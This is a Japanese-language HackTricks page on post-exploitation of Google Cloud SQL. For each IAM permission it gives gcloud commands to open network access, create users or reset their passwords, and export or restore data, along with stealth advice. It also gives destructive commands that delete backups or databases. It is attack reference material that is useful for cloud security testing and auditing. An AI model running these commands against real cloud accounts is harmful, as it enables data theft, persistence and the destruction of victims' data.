GCP - Cloud SQL Post Exploitation

HackTricksをサポートする

Cloud SQL

Cloud SQLに関する詳細情報は以下を確認してください:

cloudsql.instances.update, ( cloudsql.instances.get)

データベースに接続するには、データベースポートへのアクセスユーザー名パスワードを知っているだけで、IAMの要件はありません。したがって、データベースにパブリックIPアドレスがあると仮定すると、アクセスを得る簡単な方法は、許可されたネットワークを更新し、自分のIPアドレスをアクセスできるようにすることです。

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

--no-backupを使用して、データベースのバックアップを中断することも可能です。

これらが要件であるため、**cloudsql.instances.connectcloudsql.instances.login**の権限が何であるかは完全にはわかりません。知っている方はPRを送ってください!

cloudsql.users.list

データベースのすべてのユーザーのリストを取得します:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

この権限はデータベース内に新しいユーザーを作成することを許可します:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

この権限はデータベース内のユーザーを更新することを許可します。例えば、パスワードを変更することができます:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

バックアップには古い機密情報が含まれている可能性があるため、確認することが興味深いです。 データベース内でバックアップを復元します:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

よりステルスな方法で行うには、現在稼働中のデータベースではなく、新しいSQLインスタンスを作成し、そこでデータを復元することをお勧めします。

cloudsql.backupRuns.delete

この権限はバックアップを削除することを許可します:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

データベースをエクスポートしてCloud Storageバケットに保存し、そこからアクセスできるようにします:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Cloud Storage バケットからデータベースをインポート(上書き):

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

データベースインスタンスからデータベースを削除します:

gcloud sql databases delete <db-name> --instance <instance-id>
HackTricksをサポートする

Last updated